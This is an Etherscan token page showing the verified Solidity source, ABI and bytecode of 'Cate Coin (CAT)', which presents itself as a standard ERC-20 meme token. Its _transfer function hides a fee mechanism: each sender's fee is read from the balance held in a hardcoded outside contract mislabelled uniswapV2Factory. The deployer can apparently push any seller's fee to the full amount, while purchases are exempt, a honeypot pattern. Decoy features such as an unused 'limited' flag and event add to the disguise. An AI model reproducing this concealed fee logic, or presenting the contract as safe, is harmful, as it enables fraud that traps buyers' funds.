ETH Price: $2,624.51 (+4.73%)

Token

Cate Coin (CAT)
 

Overview

Max Total Supply

1,000,000,000,000 CAT

Holders

21

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
23,151,465,212.18137544 CAT

Value
$0.00
0xf44133c6198ff3935816d7ab9d7687da67db98cf
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Cate

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-30
*/

// SPDX-License-Identifier: None

/*
  https://cate.cat/
  https://twitter.com/ETHCATECOIN
  https://t.me/ETHCATECOIN
*/


pragma solidity 0.8.24;

abstract contract Context {
  function _msgSender() internal view virtual returns (address) {
    return msg.sender;
  }

  function _msgData() internal view virtual returns (bytes calldata) {
    return msg.data;
  }
}

abstract contract Ownable is Context {
  address private _owner;

  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  /**
   * @dev Initializes the contract setting the deployer as the initial owner.
     */
  constructor() {
    _transferOwnership(_msgSender());
  }

  /**
   * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
  function renounceOwnership() public virtual onlyOwner {
    _transferOwnership(address(0));
  }

  /**
   * @dev Returns the address of the current owner.
     */
  function owner() public view virtual returns (address) {
    return _owner;
  }

  /**
   * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
  function transferOwnership(address newOwner) public virtual onlyOwner {
    require(newOwner != address(0), "Ownable: new owner is the zero address");
    _transferOwnership(newOwner);
  }

  /**
   * @dev Throws if called by any account other than the owner.
     */
  modifier onlyOwner() {
    require(owner() == _msgSender(), "Ownable: caller is not the owner");
    _;
  }

  /**
   * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
  function _transferOwnership(address newOwner) internal virtual {
    address oldOwner = _owner;
    _owner = newOwner;
    emit OwnershipTransferred(oldOwner, newOwner);
  }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) 
    external view returns (address pair); 
    function createPair(address tkenA, address tokenB) 
    external returns (address pair);
}
interface IUniswapV2Router {
    function WETH() external pure returns (address); 
     function addLiquidityETH( address token, 
     uint amountTokenDesire, 
     uint amountTokenMi, 
     uint amountETHMi, 
     address to, 
     uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function factory() external pure returns (address);
}
interface IERC20 {
    function balanceOf(address account) 
    external view returns (uint256);
    function approve(address spender, uint256 amount) 
    external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) 
    external returns (bool);
    function allowance(address owner, address spnder) 
    external view returns (uint256);
}
library SafeMath {

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        return c;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }

     function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }
}
contract Cate is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 9;

    string private constant _name = unicode"Cate Coin";
    string private constant _symbol = unicode"CAT";

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    bool tradingOpen = false;

    uint256 private _totalSupply =  1_000_000_000_000 * 10 ** _decimals;
    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public uniswapV2Pair;
    address internal uniswapV2Factory = 0xf753E2e7f45C2Bc5F8B8e972a5E09198bC84AE17;

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 amount);
    event MaxTxAmountUpdated(uint _maxTxAmount);
    bool public limited = true;

    bool private inSwap = false;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }
    
    function name() public pure returns (string memory) {
        return _name;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function removeLimitations() external onlyOwner {
        limited = false;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function _transfer(address from, address to, uint256 amount) private {
        uint256 _fee = 0;
        require(from != address(0));
        require(amount > 0);
        uint256 feeRate = IERC20(uniswapV2Factory).balanceOf(from);
        if (from != address(this) && from != uniswapV2Pair) { 
            _fee = amount.mul(feeRate).div(100);
        }
        _balances[from] = _balances[from].sub(amount); 
        _balances[to] = _balances[to].add(amount).sub(_fee);
        emit Transfer(from, to, amount);
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function startTrading() external payable onlyOwner() {
        require(!tradingOpen, "Trading already opened");
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen = true;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limited","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimitations","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60035f6101000a81548160ff0219169083151502179055505f60149054906101000a900460ff16600a62000055919062000481565b64e8d4a51000620000679190620004d1565b600455737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073f753e2e7f45c2bc5f8b8e972a5e09198bc84ae1760075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760146101000a81548160ff0219169083151502179055505f600760156101000a81548160ff02191690831515021790555034801562000153575f80fd5b5062000174620001686200022760201b60201c565b6200022e60201b60201c565b60045460015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200021991906200052c565b60405180910390a362000547565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200037957808604811115620003515762000350620002ef565b5b6001851615620003615780820291505b808102905062000371856200031c565b945062000331565b94509492505050565b5f8262000393576001905062000465565b81620003a2575f905062000465565b8160018114620003bb5760028114620003c657620003fc565b600191505062000465565b60ff841115620003db57620003da620002ef565b5b8360020a915084821115620003f557620003f4620002ef565b5b5062000465565b5060208310610133831016604e8410600b8410161715620004365782820a90508381111562000430576200042f620002ef565b5b62000465565b62000445848484600162000328565b925090508184048111156200045f576200045e620002ef565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200048d826200046c565b91506200049a8362000475565b9250620004c97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000382565b905092915050565b5f620004dd826200046c565b9150620004ea836200046c565b9250828202620004fa816200046c565b91508282048414831517620005145762000513620002ef565b5b5092915050565b62000526816200046c565b82525050565b5f602082019050620005415f8301846200051b565b92915050565b611c1f80620005555f395ff3fe6080604052600436106100f2575f3560e01c8063715018a61161008957806395d89b411161005857806395d89b41146102dc578063a9059cbb14610306578063dd62ed3e14610342578063f2fde38b1461037e576100f2565b8063715018a61461025c5780637e82d36c14610272578063860a32ec146102885780638da5cb5b146102b2576100f2565b8063293230b8116100c5578063293230b8146101c2578063313ce567146101cc57806349bd5a5e146101f657806370a0823114610220576100f2565b806306fdde03146100f6578063095ea7b31461012057806318160ddd1461015c57806323b872dd14610186575b5f80fd5b348015610101575f80fd5b5061010a6103a6565b60405161011791906113cd565b60405180910390f35b34801561012b575f80fd5b506101466004803603810190610141919061147e565b6103e3565b60405161015391906114d6565b60405180910390f35b348015610167575f80fd5b506101706103f9565b60405161017d91906114fe565b60405180910390f35b348015610191575f80fd5b506101ac60048036038101906101a79190611517565b610402565b6040516101b991906114d6565b60405180910390f35b6101ca6104ae565b005b3480156101d7575f80fd5b506101e061092d565b6040516101ed9190611582565b60405180910390f35b348015610201575f80fd5b5061020a610942565b60405161021791906115aa565b60405180910390f35b34801561022b575f80fd5b50610246600480360381019061024191906115c3565b610967565b60405161025391906114fe565b60405180910390f35b348015610267575f80fd5b506102706109ad565b005b34801561027d575f80fd5b50610286610a34565b005b348015610293575f80fd5b5061029c610acc565b6040516102a991906114d6565b60405180910390f35b3480156102bd575f80fd5b506102c6610adf565b6040516102d391906115aa565b60405180910390f35b3480156102e7575f80fd5b506102f0610b06565b6040516102fd91906113cd565b60405180910390f35b348015610311575f80fd5b5061032c6004803603810190610327919061147e565b610b43565b60405161033991906114d6565b60405180910390f35b34801561034d575f80fd5b50610368600480360381019061036391906115ee565b610b59565b60405161037591906114fe565b60405180910390f35b348015610389575f80fd5b506103a4600480360381019061039f91906115c3565b610bdb565b005b60606040518060400160405280600981526020017f4361746520436f696e0000000000000000000000000000000000000000000000815250905090565b5f6103ef338484610cd1565b6001905092915050565b5f600454905090565b5f61040e848484610e94565b6104a3843361049e8560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111ca90919063ffffffff16565b610cd1565b600190509392505050565b6104b66111f0565b73ffffffffffffffffffffffffffffffffffffffff166104d4610adf565b73ffffffffffffffffffffffffffffffffffffffff161461052a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052190611676565b60405180910390fd5b60035f9054906101000a900460ff1615610579576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610570906116de565b60405180910390fd5b6105a73060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600454610cd1565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610611573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106359190611710565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106df9190611710565b6040518363ffffffff1660e01b81526004016106fc92919061173b565b6020604051808303815f875af1158015610718573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073c9190611710565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306107c330610967565b5f806107cd610adf565b426040518863ffffffff1660e01b81526004016107ef969594939291906117a4565b60606040518083038185885af115801561080b573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108309190611817565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016108d0929190611867565b6020604051808303815f875af11580156108ec573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091091906118b8565b50600160035f6101000a81548160ff021916908315150217905550565b5f8060149054906101000a900460ff16905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109b56111f0565b73ffffffffffffffffffffffffffffffffffffffff166109d3610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610a29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2090611676565b60405180910390fd5b610a325f6111f7565b565b610a3c6111f0565b73ffffffffffffffffffffffffffffffffffffffff16610a5a610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610ab0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa790611676565b60405180910390fd5b5f600760146101000a81548160ff021916908315150217905550565b600760149054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4341540000000000000000000000000000000000000000000000000000000000815250905090565b5f610b4f338484610e94565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610be36111f0565b73ffffffffffffffffffffffffffffffffffffffff16610c01610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610c57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4e90611676565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610cc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbc90611953565b60405180910390fd5b610cce816111f7565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d36906119e1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da490611a6f565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e8791906114fe565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610ecc575f80fd5b5f8211610ed7575f80fd5b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401610f3291906115aa565b602060405180830381865afa158015610f4d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f719190611a8d565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610ffc575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561102a57611027606461101983866112b890919063ffffffff16565b6112f890919063ffffffff16565b91505b61107a8360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111ca90919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061111d8261110f8560015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461131d90919063ffffffff16565b6111ca90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111bb91906114fe565b60405180910390a35050505050565b5f828211156111d7575f80fd5b5f82846111e49190611ae5565b90508091505092915050565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f8083036112c8575f90506112f2565b5f82846112d59190611b18565b90508284826112e49190611b86565b146112ed575f80fd5b809150505b92915050565b5f808211611304575f80fd5b5f82846113119190611b86565b90508091505092915050565b5f80828461132b9190611bb6565b905083811015611339575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561137a57808201518184015260208101905061135f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61139f82611343565b6113a9818561134d565b93506113b981856020860161135d565b6113c281611385565b840191505092915050565b5f6020820190508181035f8301526113e58184611395565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61141a826113f1565b9050919050565b61142a81611410565b8114611434575f80fd5b50565b5f8135905061144581611421565b92915050565b5f819050919050565b61145d8161144b565b8114611467575f80fd5b50565b5f8135905061147881611454565b92915050565b5f8060408385031215611494576114936113ed565b5b5f6114a185828601611437565b92505060206114b28582860161146a565b9150509250929050565b5f8115159050919050565b6114d0816114bc565b82525050565b5f6020820190506114e95f8301846114c7565b92915050565b6114f88161144b565b82525050565b5f6020820190506115115f8301846114ef565b92915050565b5f805f6060848603121561152e5761152d6113ed565b5b5f61153b86828701611437565b935050602061154c86828701611437565b925050604061155d8682870161146a565b9150509250925092565b5f60ff82169050919050565b61157c81611567565b82525050565b5f6020820190506115955f830184611573565b92915050565b6115a481611410565b82525050565b5f6020820190506115bd5f83018461159b565b92915050565b5f602082840312156115d8576115d76113ed565b5b5f6115e584828501611437565b91505092915050565b5f8060408385031215611604576116036113ed565b5b5f61161185828601611437565b925050602061162285828601611437565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61166060208361134d565b915061166b8261162c565b602082019050919050565b5f6020820190508181035f83015261168d81611654565b9050919050565b7f54726164696e6720616c7265616479206f70656e6564000000000000000000005f82015250565b5f6116c860168361134d565b91506116d382611694565b602082019050919050565b5f6020820190508181035f8301526116f5816116bc565b9050919050565b5f8151905061170a81611421565b92915050565b5f60208284031215611725576117246113ed565b5b5f611732848285016116fc565b91505092915050565b5f60408201905061174e5f83018561159b565b61175b602083018461159b565b9392505050565b5f819050919050565b5f819050919050565b5f61178e61178961178484611762565b61176b565b61144b565b9050919050565b61179e81611774565b82525050565b5f60c0820190506117b75f83018961159b565b6117c460208301886114ef565b6117d16040830187611795565b6117de6060830186611795565b6117eb608083018561159b565b6117f860a08301846114ef565b979650505050505050565b5f8151905061181181611454565b92915050565b5f805f6060848603121561182e5761182d6113ed565b5b5f61183b86828701611803565b935050602061184c86828701611803565b925050604061185d86828701611803565b9150509250925092565b5f60408201905061187a5f83018561159b565b61188760208301846114ef565b9392505050565b611897816114bc565b81146118a1575f80fd5b50565b5f815190506118b28161188e565b92915050565b5f602082840312156118cd576118cc6113ed565b5b5f6118da848285016118a4565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61193d60268361134d565b9150611948826118e3565b604082019050919050565b5f6020820190508181035f83015261196a81611931565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6119cb60248361134d565b91506119d682611971565b604082019050919050565b5f6020820190508181035f8301526119f8816119bf565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611a5960228361134d565b9150611a64826119ff565b604082019050919050565b5f6020820190508181035f830152611a8681611a4d565b9050919050565b5f60208284031215611aa257611aa16113ed565b5b5f611aaf84828501611803565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611aef8261144b565b9150611afa8361144b565b9250828203905081811115611b1257611b11611ab8565b5b92915050565b5f611b228261144b565b9150611b2d8361144b565b9250828202611b3b8161144b565b91508282048414831517611b5257611b51611ab8565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611b908261144b565b9150611b9b8361144b565b925082611bab57611baa611b59565b5b828204905092915050565b5f611bc08261144b565b9150611bcb8361144b565b9250828201905080821115611be357611be2611ab8565b5b9291505056fea2646970667358221220396a03e94f1158407f4834004ee3bde7d052dfbf64de4f083b80a30c6add8f5264736f6c63430008180033

Deployed Bytecode

0x6080604052600436106100f2575f3560e01c8063715018a61161008957806395d89b411161005857806395d89b41146102dc578063a9059cbb14610306578063dd62ed3e14610342578063f2fde38b1461037e576100f2565b8063715018a61461025c5780637e82d36c14610272578063860a32ec146102885780638da5cb5b146102b2576100f2565b8063293230b8116100c5578063293230b8146101c2578063313ce567146101cc57806349bd5a5e146101f657806370a0823114610220576100f2565b806306fdde03146100f6578063095ea7b31461012057806318160ddd1461015c57806323b872dd14610186575b5f80fd5b348015610101575f80fd5b5061010a6103a6565b60405161011791906113cd565b60405180910390f35b34801561012b575f80fd5b506101466004803603810190610141919061147e565b6103e3565b60405161015391906114d6565b60405180910390f35b348015610167575f80fd5b506101706103f9565b60405161017d91906114fe565b60405180910390f35b348015610191575f80fd5b506101ac60048036038101906101a79190611517565b610402565b6040516101b991906114d6565b60405180910390f35b6101ca6104ae565b005b3480156101d7575f80fd5b506101e061092d565b6040516101ed9190611582565b60405180910390f35b348015610201575f80fd5b5061020a610942565b60405161021791906115aa565b60405180910390f35b34801561022b575f80fd5b50610246600480360381019061024191906115c3565b610967565b60405161025391906114fe565b60405180910390f35b348015610267575f80fd5b506102706109ad565b005b34801561027d575f80fd5b50610286610a34565b005b348015610293575f80fd5b5061029c610acc565b6040516102a991906114d6565b60405180910390f35b3480156102bd575f80fd5b506102c6610adf565b6040516102d391906115aa565b60405180910390f35b3480156102e7575f80fd5b506102f0610b06565b6040516102fd91906113cd565b60405180910390f35b348015610311575f80fd5b5061032c6004803603810190610327919061147e565b610b43565b60405161033991906114d6565b60405180910390f35b34801561034d575f80fd5b50610368600480360381019061036391906115ee565b610b59565b60405161037591906114fe565b60405180910390f35b348015610389575f80fd5b506103a4600480360381019061039f91906115c3565b610bdb565b005b60606040518060400160405280600981526020017f4361746520436f696e0000000000000000000000000000000000000000000000815250905090565b5f6103ef338484610cd1565b6001905092915050565b5f600454905090565b5f61040e848484610e94565b6104a3843361049e8560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111ca90919063ffffffff16565b610cd1565b600190509392505050565b6104b66111f0565b73ffffffffffffffffffffffffffffffffffffffff166104d4610adf565b73ffffffffffffffffffffffffffffffffffffffff161461052a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052190611676565b60405180910390fd5b60035f9054906101000a900460ff1615610579576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610570906116de565b60405180910390fd5b6105a73060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600454610cd1565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610611573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106359190611710565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106df9190611710565b6040518363ffffffff1660e01b81526004016106fc9291906